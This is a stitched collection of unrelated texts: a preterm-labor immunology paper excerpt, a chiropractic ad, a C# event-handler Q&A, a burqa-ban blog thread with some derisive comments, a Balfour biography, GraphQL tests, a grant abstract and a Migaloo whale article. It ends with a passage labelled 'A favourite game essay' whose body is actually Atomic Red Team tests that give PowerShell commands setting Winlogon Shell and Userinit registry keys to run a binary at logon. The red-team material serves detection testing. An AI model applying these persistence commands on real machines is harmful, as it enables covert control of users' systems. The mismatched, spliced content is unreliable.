BSCIs are an attractive therapeutic class of drugs for the inhibition of PTL, because they have the capability to simultaneously block multiple cytokine signaling pathways ([@B51], [@B55]). BSCIs are unlike other anti-inflammatory drugs in that they do not antagonize the classical pathway of chemokines binding to their receptors, but rather they act as agonists by binding to cell-surface type-2 somatostatin receptors (SSTR2). A total of five sub-types of human SSTR have been cloned and detected in human tissues with splice variants SSTR2A and SSTR2B ([@B85], [@B86]). SSTRs (mainly SSTR2 and SSTR5) are reported to be highly expressed on inflammatory cells, including activated lymphocytes, monocytes, and endothelial cells ([@B52], [@B87]). Interestingly, it was shown that binding SSTR2 inhibits adenylyl cyclase and calcium entry by suppressing voltage-dependent calcium channels, which can affect several organ-specific functions (i.e., inhibiting secretion of glucagon and insulin in the pancreas, inhibiting neurotransmitter in the brain) ([@B88]--[@B91]). BSCIs are partial agonists of SSTR2, which stimulate signals that diminish pathways generated by the related chemokine receptors; without classical SSTR2 agonist effects (e.g., effect on growth hormone levels or the hypothalamic-pituitary axis) ([@B53], [@B54]). Partial agonism of SSTR2 has been hypothesized to dampen directional signals from the chemokine receptors leaving cells effectively "blinded" to the chemokine gradient.
There are at least three possible explanations for why the BSCI treatment was so effective in preventing preterm labor ([Figure 13](#F13){ref-type="fig"}, conceptual model). First, we speculate that binding of BSCI to SSTR2 could have inhibited calcium entry by suppressing voltage-dependent calcium channels, which prevented the increase in intracellular calcium (\[Ca^2+^\]~i~) and thus precludes elevated \[Ca^2+^\]~i~ to act on the contractile filaments of myometrial smooth muscle cells, and generate uterine contractions. Secondly, it is plausible that the BSCI may have inhibited the expression or function of gap junction proteins, in particular Connexin 43. Propagation of an action potential can only be generated when individual cells are electrically coupled to allow elevated Ca^2+^ to spread between neighboring cells. In the myometrium, this coupling occurs through intercellular bridges formed by gap junction proteins (connexins) through which ions and certain small molecules pass. Connexin 43 is the most abundant connexin in the uterus and its expression is increased with term and preterm labor in all mammals ([@B92]). Finally, there was also a significant reduction in the major neutrophil chemokine IL-8 in the maternal plasma and amniotic fluid in the BSCI compared to the GBS only group; many other cytokines (e.g., IL-6, IL-1β, IL-7, TNF-α) were also reduced in either the fetal plasma, chorioamniotic membranes, lung, or brain tissues compared to GBS alone. As IL-8 infusion *alone* does not induce PTL in a pregnant rhesus macaque model ([@B93]), this suggests that a broader suppression of chemokines may be a promising approach to inhibiting PTL if microbial infections are properly diagnosed and treated. Altogether, these factors acting individually or in concert may explain why the BSCI+GBS group did not develop PTL.
.](fimmu-11-00770-g0013){#F13}
Interestingly, the cytokine pattern observed in the NHP model is remarkably different from what was observed in our murine model of LPS-induced preterm birth ([@B55]). In the NHP model, IL-7 was inhibited in the chorioamniotic membranes, as well as in fetal brain and fetal lungs. IL-7 is a hematopoietic growth factor, produced and secreted by neurons, epithelial, and other cells and is crucial for the maturation of lymphocytes. Further, pro-inflammatory cytokines IL-2 and IL-18 (both capable of regulating adaptive and innate immunity) were also inhibited in the fetal brain. In contrast to the NHP model with many cytokines in the AF and fetal tissues showing decreased levels, only maternal tissues exhibited diminished cytokines in response to BSCI treatment in the murine systemic LPS-induced model of preterm birth ([@B55]). This may be due in part to the fact that the BSCI was given to mice intraperitoneally, but not intra-amniotically and intravenously similar to the NHP model. In our previous study, the BSCI (BN83470) compound needed to cross two layers of syncytiotrophoblast cells (mouse placental barrier), which is unlikely due to the chemical structure of the BSCI. Therefore, we speculated that BN83470 was not able to cross the placenta, as we could not detect any effect of this drug on the chemokine profile in the amniotic fluid of mice systemically challenged with LPS. However, in the current study, we administered FX125L both intra-amniotically and intravenously with effects detected within fetal tissues. These data also highlight the many differences between the two models of PTL with the NHP model more closely resembling human pregnancy.
Given our observations that the BSCI treated animals exhibited increased bacterial burden, it is possible that diminished chemotaxis and recruitment of leukocytes early during infection, might inadvertently allow for greater bacterial growth and burden. Alternatively, it is possible that the greater time achieved *in utero* due to BSCI administration and suppression of PTL allowed for a natural progression of infection that would have occurred normally in the GBS only group if given sufficient time; however, PTL in the GBS only group resulted in early delivery in nearly all cases, which truncated the experimental time course. It is also possible that a combination of greater time *in utero* and delayed or blunted leukocyte action contributed to the microbial invasion of the amniotic cavity seen in every animal in the BSCI+GBS group. Interestingly, the striking neutrophilic infiltration of the chorioamniotic membranes and fetal lungs in the BSCI+GBS group suggests that the BSCI despite blunting some inflammatory responses, did not ultimately prevent neutrophil recruitment; further, the increased neutrophil infiltration was not sufficient to contain bacterial growth or induction PTL. Our *in vitro* data indicate that the BSCI did not impact the microbicidal function of neutrophils. Therefore, it is likely that the suppression of certain chemokines by BSCI while delaying PTL promoted increased bacterial replication in the animals inoculated with GBS and treated with the BSCI.
Whether a combination of BSCI and antibiotics might inhibit PTL and eradicate the infection is unknown, but represents an important question and could be an approach to translate to human pregnancy. A second and critical question arising from our results is the precise mechanism of PTL inhibition, which would best be studied by analyzing inflammatory and immune responses regionally within the myometrium and placental tissues. It is notable that suppression of IL-8 was a recurring finding in our cytokine analyses within the amniotic fluid and maternal plasma placental, which represents an attractive focal point for further experiments to define the expression of genes promoting parturition. Future studies to analyze the expression of genes promoting labor within the placenta and myometrial tissues, in particular, may address why PTL was absent following BSCI treatment despite a significant infection.
The strength of our study is in the use of a unique chronically catheterized NHP model, which represents the closest animal model to human pregnancy. Humans and NHP share a number of features in pregnancy, which enables a direct comparison. These experiments in an NHP model afford a rare opportunity to determine how a PTL therapeutic can affect maternal-fetal immune responses, as well as the health of the fetus. Further, this model allows for serial analyses of maternal blood, amniotic fluid, and uterine contraction data over time, which is not possible in lower mammalian models. Our study was limited by the small number of animals within each group, which is typical of NHP studies where conservation is necessary for ethical reasons and experimental costs are typically 1,000--2,000-fold\> that of murine studies. This precluded us from studying the direct effect of BSCI on pregnant animals in the absence of infection.
Important questions remain as to whether a therapeutic for PTL can safely inhibit labor without jeopardizing the health of the fetus. Our results strongly suggest that inhibition of PTL using a BSCI may be effective, but it is imperative for the obstetrician to rule out intra-amniotic infection for the safety of the fetus and the mother. Several new studies suggest that an intra-amniotic infection, in some cases, can be treated successfully with antibiotics ([@B94]--[@B98]). Further research is needed to determine if antibiotic therapy with an immunomodulator, similar to the BSCI, can eradicate an intrauterine infection and prevent PTL. As immunomodulators to prevent preterm birth move from the laboratory into clinical trials, it will be critical that intra-amniotic infections are properly diagnosed and treated with antibiotics to prevent progression of the infection.
Data Availability Statement {#s5}
===========================
The datasets generated for this study are available on request to the corresponding author.
Ethics Statement {#s6}
================
The studies involving human participants were reviewed and approved by Seattle Children\'s Research Institute Institutional Review Board (protocol \#11117). The patients/participants provided their written informed consent to participate in this study. The animal study was reviewed and approved by the University of Washington Institutional Animal Care and Use Committee.
Author Contributions {#s7}
====================
MC, LR, and KA drafted the initial manuscript. MC, NK, AB-R, OS, SL, LR, and KA critically edited the manuscript. MC, AO, T-YW, MD, SM, JO, AB, JM, LR, and KA provided technical assistance with the experiments. The funding was obtained by OS, SL, and KA.
Conflict of Interest {#s8}
====================
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
We thank Dr. David Fox for the generous gift of the BSCI and the Histology and Imaging core at the University of Washington for assistance with immunostaining and quantitation. We also thank Shyala Nguyen for technical assistance.
**Funding.** This work was supported by the National Institutes of Health Grant \#AI133976 (LR and KA), AI145890 (LR and KA), and the Burroughs Wellcome Fund (\#1013759, SL, OS, and KA). This study also used resources supported by the National Institutes of Health Office of Research Infrastructure Programs to the Washington National Primate Research Center (P51 OD010425). The content is solely the responsibility of the authors and does not necessarily represent the official views of the National Institutes of Health or other funders. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.
[^1]: Edited by: Nardhy Gomez-Lopez, Wayne State University, United States
[^2]: Reviewed by: Thaddeus Golos, University of Wisconsin-Madison, United States; Elizabeth Ann Bonney, University of Vermont, United States
[^3]: This article was submitted to Immunological Tolerance and Regulation, a section of the journal Frontiers in Immunology
| 2023-11-08T01:26:51.906118 | https://example.com/article/3684 |
Welcome to Design for Health Chiropractic Center
At Design for Health, we believe each person has been designed by God to be healthy, well, and vital. Let us restore you to the healthy lifestyle you were designed to experience. When you contact Design for Health you can expect:
* No Long, Pre-Set Visit Schedules
* Personal Treatment Plans, Based on Your Condition
* Average Cases Last 8-10 Visits
* Most Patients Feel Significant Relief After 3 Visits
* Approx. 15 Minutes of Face-to-Face Time with the Doctor at Each Visit | 2023-10-16T01:26:51.906118 | https://example.com/article/7107 |
Q:
Is there anyway to define a single event handler for variety of events in C#?
I would like to declare common handler for variety of events, that will basically route events to the JavaScript part of the app. I myself come for JS/AS3 background, where something like this is a relatively simple thing to do. SilverLight and C# look quite stricter though.
The plan is like follows, JS will call a special [ScriptableMember] with a class name to instantiate and method to call, as string arguments. [ScriptableMember] then must contruct an instance of the class and optionally subscribe to the events, that can be fired by that instance. Events to subscribe to, will be exposed in public static struct of some kind. [ScriptableMember] will have to extract event properties from that struct and subscribe with the single event handler to all of them. Common single event handler then should translate C# events to JS ones.
Obviously everything should be generalized and automated in some kind of factory logic.
One big problem to this is that I cannot know beforehand what will be the type of delegate or EventArgs object. And even if I knew it would have been troublesome to create an overload for each and every case. Is there anyway to define a generic event handler in C#?
UPDATE:
Here is a code snippet that deals with described logic:
[ScriptableMember]
public void exec(string compName, string action, ScriptObject scriptObject)
{
String compFQName;
Type compClass;
object comp;
compFQName = "fully.qualified.name." + compName;
compClass = Type.GetType(compFQName);
if (compClass != null) {
comp = Activator.CreateInstance(compClass);
FieldInfo fieldInfo = compClass.GetField("dispatches", BindingFlags.Static | BindingFlags.Public);
object[] dispatches = (object[])fieldInfo.GetValue(comp);
if (dispatches != null) {
foreach (string eventName in dispatches) {
EventInfo eventInfo = compClass.GetEvent(eventName);
Delegate handler = Delegate.CreateDelegate(eventInfo.EventHandlerType, this, "OnComponentEvent");
eventInfo.AddEventHandler(comp, handler);
}
}
}
// ...
}
And then there is an event handler that should catch up all the events:
public void OnComponentEvent(object sender, EventArgs args)
{
// do something ...
}
A:
Every event args must be inherited from EventArgs class. If you follow this rule, you just can declare your handler like
public void GenericHandler(object sender, EventArgs e)
and subscribe it to any event
EDIT:
Like said O. R. Mapper, if the signature of your handler is incomparable with told above, you can call it from anonimous method that subscribed to your event, for example:
public delegate void StupidEventHandler(int walueThatMustBeWrappedToEventArgs);
public event StupidEventHandler StupidEventOccured;
//....
{
//....
stupidClass.StupidEventOccured += delegate(int value) { handlerObject.GenericHandler(stupidClass, new StupidEventHandlerWrapper(value)); }
}
EDIT:
Since the question suggests unusial .NET feature usage, handling would be unusual too. Since YOU subscribe this to everything you must know what events types can occure. Then handle it like this:
public void GenericHandler(object sender, EventArgs e)
{
if (e is MouseEventArgs)
{
var mouseArgs = e as MouseEventArgs;
// .. process this case
}
else if (e is ....)
}
EDIT:
To subscribe it try this:
[ScriptableMember]
public void exec(string compName, string action, ScriptObject scriptObject)
{
String compFQName;
Type compClass;
object comp;
compFQName = "fully.qualified.name." + compName;
compClass = Type.GetType(compFQName);
if (compClass != null) {
comp = Activator.CreateInstance(compClass);
FieldInfo fieldInfo = compClass.GetField("dispatches", BindingFlags.Static | BindingFlags.Public);
object[] dispatches = (object[])fieldInfo.GetValue(comp);
if (dispatches != null) {
foreach (string eventName in dispatches) {
EventInfo eventInfo = compClass.GetEvent(eventName);
EventHandler handlerMethod = OnComponentEvent;
var handler = Delegate.CreateDelegate(eventInfo.EventHandlerType, handlerMethod.Target, handlerMethod.Method);
eventInfo.AddEventHandler(comp, handler);
}
}
}
// ...
}
Why your version doesn`t work is a great mistery.
| 2024-04-08T01:26:51.906118 | https://example.com/article/1659 |
Pages
Tuesday, September 21, 2010
The French Senate has voted to ban the burqa in public places. Similar laws are being considered in Belgium, Spain and Italy.
President Sarkozy said in Parliament "We cannot accept that in our country some women will be imprisoned behind a fence cut off from all social life, deprived of identity. This is not a principle that the French republic has about women's dignity."
In Australia, a recent decision by a judge to have a witness remove her face veil has sparked controversy and recent polls show that the majority of Australians support a ban.
23 comments:
That was a heated debate! Nevertheless, I do not think that on the secular side the point was made entirely out of reasonable objections. The simple apprehension about the threat burqa has on security is similar to the one proposed by radical Christians who support external intervension in Iraq.
Vonnegut once said that we can be protective of ourselves only when the enemy attacks you at your porch. Only then you can take the gun and shoot.
Their argument is that people are free to wear whatever they want, right? Requiring people to show their faces is no different than expecting people to hide their genitals. Its time to go visit their mosque in the nude. They better not complain, they are all so pro-free expression after all.
I endorse this view but would like to add a hearty HAHAHAHHHHAAAAAA!!!!! to the idea of wearing that stupid thing. I CAN'T SEE IF THAT FIRST WOMAN BEING QUESTIONED IS EVEN THERE OR NOT, let alone see her face. It's hilarious!
But, the law doesn't just state that it's illegal to cover your face/identity. It specifically states that Women may not cover their faces and that men may not force a woman to do so. It discriminates both on religion and gender.
I think it's a matter of freedom of expression. I don't agree with the countries that force women to wear it, and in the same way I don't agree with countires that force women not to wear it. Its a peice of cloth and I agree people should take it off when it becomes a security issue.
Still, this is not the way to show Muslims that wearing a burqa is an irrational thing to do. This is just givng them the oppurtunity to turn this into a freedom of expression issue, and in turn creates a back lash which can convert some people to Islam sometimes.
Instead, the way to show them that wearing a burqa is irrational, is to tell them the reasons why, which ultimately would lead to telling them why it makes no sense to be a Muslim, and there are good reasons to show them that. I personally have deconverted many Muslims before.
I don't agree with forcing anyone out of their beliefs. That is why I support seperation of church and state here in the US.
When people have truth on their side they don't need force. All they need is reason and evidence.
they can wear and look stupid all they want- the only problem is integration- do we want people who look like that in our society? will they be able to integrate and assimilate into the western world looking like that? unlikely...
Here's my opinion on the burka.If you want to cosplay as one of the pacman ghosts, you have every right to do so, but I also have the right to not take your seriously if you do, and if I can't verify your identity when it is important, I can take your sincerity in doubt.I don't care if that offends you. It offends me that you might think I would rape you if you show me your face. I can keep it in my pants, so you can safely show your face. It's part of the social contract in modern western civilisations.
The answer lies in making them feel foolish. If by wearing the burka they are disadvantaged in our societies, then they will soon stop wearing it.
I agree with an above poster, we aren't free to display our genitals, even though they do so in other remote cultures. It's about their respect for our societies as much as it is our respect for theirs when we visit them.
Lets not stoop to their level and ban it, lets show how compassionate and fair we are. But lets encourage these women to come out from behind their masks, that we will love and appreciate them for who they are, not what they look like.
The more interesting question here is why there is a debate over this in the first place. If you take away the xenophobia and the jacked up hostility toward Islam since 9-11, no one would care about the burqa in most public places. The security issue is the only legitimate debate, and the only reason that is an issue is because of the privileged status we have allow religion to assume. Other items that cover one's identity aren't allow in banks, for example, but the burqu / niqāb is OK only because it has some kind of religious significance. Take away religion's special privilages and that part of the debate goes away as well.
i think that if a religion is to wear the burqa then wear the burqa but if the police want ID then take this women in to a room and let her take her burqa of in front of a WOMEN. alot of people think that things like this are stupid but they dont know the story behind it all!! like what someone said in the debate we wear this for a reason and you wear that for a reason. its like telling people that drugs and alchol and beer and smokes are ban, but this being more worse then any of that.
I agree with most of the statement about how the burqa is oppressive etc.,
However, I am fed up with the same silly idiots making the same silly false arguments - that woman who wear the burqa are a security threat. These women do show their faces when it is necessary for ID and security. So please stop with these falsehoods, and I suspect in some cases down right lies.
Another lie is that women are forced to wear it. Where as no doubt this is true in some cases, overall it is false. According to nearly all schools of Islamic law it is haraam (not lawful) to force a woman to wear a burqa. So even those Muslims who think that it is good for women to wear the burqa, also know it is halaal for them to force a woman to wear it.
However, this does not remove cultural pressure, but there are many ways in which people feel confined by cultural/peerage pressure to conform -one cannot ban that. Education is what is needed.
What we should be banning is religous schools so all children receive a secular education.
In a free society people are free to wear what they want. We may not like it, but so what - that has nothing to do with the issue. The problem some muslim women face is their community (society) telling them what they should and should not wear - having a law that tells them what they can and cannot wear is not the way to instill personal autonomy.
Thinking one is increasing a woman's personal autonomy by using the power of the law to enforce what they can and cannot wear is just stupid!
i dont thhink that they should ban the burka because it is an islamic religon and they dont wear it for use they wear it for allah and who has a problem with muslims wearing the burkas if you do have a problem deal with it because its there choice if they want to wear the burka or not
<span>i dont thhink that they should ban the burka because it is an islamic religon and they dont wear it for use they wear it for allah and who has a problem with muslims wearing the burkas if you do have a problem deal with it because its there choice if they want to wear the burka or not because it is not your choice and leave the muslims alone they havn't done anything to use they can wear the hijabs burkas your not the boss of them 1 more thing leave the muslims alone alright.</span>
<p><span>I agree with most of you that banning the burqa is not the right thing to do. I think one thing that hasn't been said yet is that t</span><span>he burqa and hijab bans were passed to “ensure the dignity of the person and equality between the sexes,” according to the French government. This excuse brings a gendered element to the debate. The Parliament is not banning the burqa to bring Muslims in line with the rest of the populace; the burqa is being banned to liberate women.</span><span></span></p><p><span> </span><span>Therefore, my criticism stems from the inherent patriarchy and colonialism within the French Parliament. Telling women to 'rebel against tradition' implies that they are not already do so. It also takes away the power and symbolic importance of the action if they DO decide to remove their burqas. Moreover, it implies that non-Western traditions are wrong and that it is the West's burden to "fix" these beliefs.</span> | 2024-03-14T01:26:51.906118 | https://example.com/article/4884 |
George Balfour (Liberal politician)
General Sir George Balfour KCB (8 December 1809 – 12 March 1894) was British Army officer and a Liberal politician who sat in the House of Commons from 1872 to 1892.
Career
Balfour was the son of the George Balfour, of Montrose and an older brother of Edward Green Balfour. He was educated at the Addiscombe Military Seminary and became a lieutenant in the Madras Artillery in 1825. From 1832, he served with Malacca Field Force and was Staff Officer of Artillery with the Malacca Field Force from 1832 to 1833 when it was active in the capture of Chusan, Canton, and Amoy. He was adjutant of Artillery from 1833 to 1842, and A.A.G. from 1834 to 1835, He was with the Field Force in the ceded districts, and in action of Zorapore in 1839 when he became Brigade Major in India. From 1840 to 1842 he was in China with the China Force. He was agent for captured property in China from 1841 to 1842 and receiver of public money paid by China under the Treaty of Nanking.
China
He arrived in Shanghai on 8 November 1843 aboard the streamer Medusa, and immediately began discussions with the ranking local Chinese official, the Taotai (), on the opening of foreign trade and the site of a foreign settlement.
Shanghai was declared open to foreign trade on 14 November 1843, and agreement was reached on the terms under which the foreign settlement would be established. The Chinese official position was that land could not be sold outright to foreigners, but a compromise was reached whereby it was allowed for land to be rented in perpetuity. Balfour first rented a house within the Shanghai town walls for use as the official British consular residence. He left the post of Shanghai consul in 1846, and was replaced by Rutherford Alcock.
India
Balfour joined the Madras Army as a staff officer in April 1840 and served under General Montgomerie in China. He continued to work with the Madras detachment until June 1842. In June 1842 he became Brigade-Major for the Artillery of the Force in China.
In 1854, Balfour was promoted to lieutenant-colonel and awarded the CB. He became colonel in 1856 and was Inspector-General of Ordnance, in Madras from 1857 to 1859, member of Military Finance Commission of India from 1859 to 1860 and president of the Finance Committee and chairman of the Military. Finance Department of India from 1860-62.
Political achievements
In 1865 he was promoted to major-general and was a member of Royal Commission on Recruiting for the Army from 1866–67, and assistant to the Controller-in-Chief at the War Office from 1868-71. He was awarded KCB in 1870
Balfour was elected Member of Parliament for Kincardineshire at a by-election in 1872. He held the seat until 1892.
Balfour was promoted to lieutenant general in 1874, and to general in 1877 when he was colonel-commandant of the Royal Artillery. He was a Deputy Lieutenant and J.P. for Kincardineshire.
Other activities
Balfour was an active member of the Royal Geographical Society where he became an ardent supporter of the theory that anthropogenic causes, particularly deforestation, had caused desiccation and other climate changes in India and other parts of the British Empire. His brother Edward Green Balfour also supported this view and worked towards conservation measures for forests.
Personal life/death
Balfour married in 1848, Charlotte Isabella Hume, daughter of Joseph Hume M.P. Balfour died at the age of 84.
References
External links
Category:1809 births
Category:1894 deaths
Category:Scottish Liberal Party MPs
Category:Members of the Parliament of the United Kingdom for Scottish constituencies
Category:UK MPs 1868–1874
Category:UK MPs 1874–1880
Category:UK MPs 1880–1885
Category:UK MPs 1885–1886
Category:UK MPs 1886–1892
Category:Royal Artillery officers
Category:Deputy Lieutenants of Kincardineshire
Category:Knights Commander of the Order of the Bath
George | 2024-04-06T01:26:51.906118 | https://example.com/article/9394 |
using GraphQL.Validation.Errors;
using GraphQL.Validation.Rules;
using Xunit;
namespace GraphQL.Tests.Validation
{
public class UniqueInputFieldNamesTests : ValidationTestBase<UniqueInputFieldNames, ValidationSchema>
{
[Fact]
public void input_object_with_fields()
{
ShouldPassRule(@"
{
field(arg: { f: true })
}
");
}
[Fact]
public void same_input_object_within_two_args()
{
ShouldPassRule(@"
{
field(arg1: { f: true }, arg2: { f: true })
}
");
}
[Fact]
public void multiple_input_object_fields()
{
ShouldPassRule(@"
{
field(arg: { f1: ""value"", f2: ""value"", f3: ""value"" })
}
");
}
[Fact]
public void allows_for_nested_input_object_with_similar_fields()
{
ShouldPassRule(@"
{
field(arg: {
deep: {
deep: {
id: 1
}
id: 1
}
id: 1
})
}
");
}
[Fact]
public void duplicate_input_object_fields()
{
ShouldFailRule(_ =>
{
_.Query = @"
{
field(arg: { f1: ""value"", f1: ""value"" })
}
";
_.Error(x =>
{
x.Message = UniqueInputFieldNamesError.DuplicateInputField("f1");
x.Loc(3, 38);
x.Loc(3, 51);
});
});
}
[Fact]
public void many_duplicate_input_object_fields()
{
ShouldFailRule(_ =>
{
_.Query = @"
{
field(arg: { f1: ""value"", f1: ""value"", f1: ""value"" })
}
";
_.Error(x =>
{
x.Message = UniqueInputFieldNamesError.DuplicateInputField("f1");
x.Loc(3, 38);
x.Loc(3, 51);
});
_.Error(x =>
{
x.Message = UniqueInputFieldNamesError.DuplicateInputField("f1");
x.Loc(3, 38);
x.Loc(3, 64);
});
});
}
}
}
| 2023-10-31T01:26:51.906118 | https://example.com/article/3199 |
Cortically-projecting basal forebrain (BF) cholinergic neurons constitute a crucial component of the brain's attentional system. Recent evidence from imaging studies suggested that brain activity attempts to cope up with functional age-related changes. However, it is not known whether prefrontal cortex (PFC)-driven cholinergic mechanisms compensate for age-related decline in attentional capacities. This R21 application seeks support for exploratory research to determine the contribution of posterior-anterior shift and cholinergic overload in cognitive compensation during aging. Cortical acetylcholine (ACh) release operates in phasic and tonic modes to foster attentional performance. Specifically, phasic ACh encode information concerning attention-demanding cues whereas tonic release of cortical ACh is linked to arousal and efficacy of input processing. I hypothesize that, aging disrupts tonic cholinergic activity cortex-wide, and to compensate for consequent loss in arousal and sensory processing, as well as to maintain phasic cholinergic activity, aging increases top-down recruitment of cortical cholinergic inputs. Disruption in this adaptive cholinergic burden produces persistent impairments in attentional capacities. This research will employ an operant-based cognitive task to assess age-related changes in learning abilities and attentional performance of rats. Enzyme- based biosensors and fixed-potential amperometry will be employed to study the dynamics of cortical cholinergic transmission in real time. As nerve growth factor (NGF) signaling via tropomyosin-related kinase (trkA) receptor is critical for the regulation and function of cholinergic neurons, I will also utilize vector-based RNA interference approaches to produce persistent suppression of these receptors in an attempt to weaken corticopetal cholinergic neurons. The experiments of aim 1 will demonstrate that partial cholinergic deafferentation of the PFC but not posterior parietal cortex (PPC) would impair attentional performance and disrupt phasic ACh release of trained aged but not young rats. Moreover, moderate loss of cholinergic inputs either the PFC or PPC would delay task acquisition by interfering with the posterior-anterior shift. Aim 2 will demonstrate that blockade f top-down recruitment of BF cholinergic neurons either by muscimol inactivation of the PFC or the antagonism of BF N-methyl D-aspartate (NMDA) glutamate receptors would impair attentional functions in aged animals. On the other hand, activation of forebrain NMDA receptors in trkA- silenced aged animals is expected to restore attentional deficits. Furthermore, trkA suppression- or age-related reduction in arousal-based tonic ACh release will be reversed by BF NMDA infusions. Collectively, this research will demonstrate that resilience to attentional capacities in aging involves an adaptive response that produces prefrontal cholinergic overload, and disruption in this compensatory process produces attentional impairments. Furthermore, the expected results would provide insights into the cellular mechanisms underlying attentional decline associated with age-related neurodegenerative disorders such as Alzheimer's disease. | 2024-01-04T01:26:51.906118 | https://example.com/article/5693 |
The Story of Migaloo
Considered to be the most famous humpback whale in the world, Migaloo may be the only pure white adult humpback whale alive today. This remarkable whale was first spotted in 1991 off Byron Bay, Queensland by a group of volunteers conducting a whale count. The first photograph of Migaloo was taken through a telescope from a distance of over 5 km away. It was blurry and unclear if he was all white. In 1993 Pacific Whale Foundation researchers encountered this amazing white whale in Hervey Bay, Queensland. During this encounter we were able confirm the whale was all white and in 1998, we recorded the whale singing, a trait distinct to male humpback whales. Genetic testing in 2004 by Southern Cross University scientists further confirmed that Migaloo is a male; this confirmed what we knew because Migaloo has been recorded singing and only male humpback whales produce song.
There are a number of ways in which scientists identify Migaloo. The obvious characteristic is that he is all white, but we use other physical traits as well: his dorsal fin (on his back) is slightly hooked and his tail flukes have a distinctive shape, with spiked edges along the lower trailing side.
After sharing our remarkable discovery with the public, there was an outcry to ‘name the whale’. It was decided that the naming of the whale should be done by the elders of the local aboriginal collective in Hervey Bay. Ultimately they named this animal “Migaloo” or “white fella”. The elders explained their connection to all white or albino animals and that they appear on earth to be respected and revered; that their unique color demonstrates the need to respect all forms of life even if they appear different than ‘normal’. They should be honored with reverence and respect, not discrimination and shame.
Migaloo is a part of a population of humpback whales that feed in Antarctica during the months of November – May, which are summer and fall in the Southern Hemisphere. These whales migrate along the east coast of Australia, to breed in the warm tropical waters near the Great Barrier Reef during the months of June – October, which is considered winter and spring in that part of the world. In 1991, the year Migaloo was first sighted; researchers estimated his age to be about 3 to 5 years old based on his size at that time. This means he is approximately 30 years old today. He has been observed in New Zealand waters but primarily off east Australia migrating as far north as Cooktown and south past Sydney.
Scientists were initially hesitant to state Migaloo has albinism because his eyes are brown, rather than the typical red or pink. In the past he has been called the more conservative terms “all-white”, or “hypo- pigmented”. However, a 2011 study of his DNA by researchers at the Australian Marine Mammal Centre found a genetic variation leading to albinism; confirming that Migaloo is a true albino.
In 2011, a nearly all white humpback whale calf was sighted in the Whitsundays. This whale became known as Migaloo Junior, however this whale is not known to be the offspring of Migaloo – they may or may not be related and only genetic tests could confirm this. Migaloo Junior does have one small black dot on the dorsal surface of his left fluke, meaning this whale likely has a condition called leucism instead of albinism.
All humpback whales are protected under Australian law, but Migaloo and other humpback whales that are more than 90% white are “special management marine mammals” and have extra protection: boats and vessels cannot approach within 500 metres and aircraft cannot approach within 610 metres. These laws are necessary because people are so anxious to see Migaloo that they act irresponsibly. He was struck by a boat in 2003 and has scars on his back from that encounter.
While the classic “Moby Dick” focused on a fictional all-white whale, Migaloo is the only known occurrence of an all-white humpback whale in the 20th century. This is based on records kept by whalers of the tens of thousands of humpback whales killed during the first half of the 20th century, and the observations by whale researchers during the second half of the century. Because the whale is so visible and easily identified, Pacific Whale Foundation researchers have been able to gather a lot of data about its sightings — without the use of radio tags. This has helped researchers better understand the migratory pathways of humpback whales in the South Pacific. There have also been sightings of white orcas, a white right whale and a bottlenose dolphin with albinism throughout the years.
Pacific Whale Foundation is a nonprofit organization founded in 1980 to protect a declining humpback whale population from global threats. We have since expanded our mission to protect the ocean through science and advocacy and to inspire environmental stewardship. We are able to carry out this mission thanks in part to our social enterprise model, in which all proceeds from ecotours in both Australia and Maui go directly to PWF Research, Education and Conservation programs. You never know; while out on a Pacific Whale Foundation Eco-Adventures Australia Whalewatch, YOU might be the next one to spot the rare and beautiful Migaloo, while also supporting programs that keep this vulnerable species protected.
You can symbolically adopt Migaloo to help support the ongoing research efforts at Pacific Whale Foundation, which enable us to compile long-term information on humpback whales to help understand their social behaviors, migratory patterns, and life spans. If you have any questions, please contact us at [email protected] Mahalo for making a difference! | 2024-07-05T01:26:51.906118 | https://example.com/article/4552 |
A favourite game essay
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# T1547.004 - Winlogon Helper DLL
## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1547.004)
<blockquote>Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
* Winlogon\Notify - points to notification package DLLs that handle Winlogon events
* Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
* Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.</blockquote>
## Atomic Tests
- [Atomic Test #1 - Winlogon Shell Key Persistence - PowerShell](#atomic-test-1---winlogon-shell-key-persistence---powershell)
- [Atomic Test #2 - Winlogon Userinit Key Persistence - PowerShell](#atomic-test-2---winlogon-userinit-key-persistence---powershell)
- [Atomic Test #3 - Winlogon Notify Key Logon Persistence - PowerShell](#atomic-test-3---winlogon-notify-key-logon-persistence---powershell)
<br/>
## Atomic Test #1 - Winlogon Shell Key Persistence - PowerShell
PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.
Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
**Supported Platforms:** Windows
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_to_execute | Path of binary to execute | Path | C:\Windows\System32\cmd.exe|
#### Attack Commands: Run with `powershell`!
```powershell
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force
```
#### Cleanup Commands:
```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore
```
<br/>
<br/>
## Atomic Test #2 - Winlogon Userinit Key Persistence - PowerShell
PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.
Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
**Supported Platforms:** Windows
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
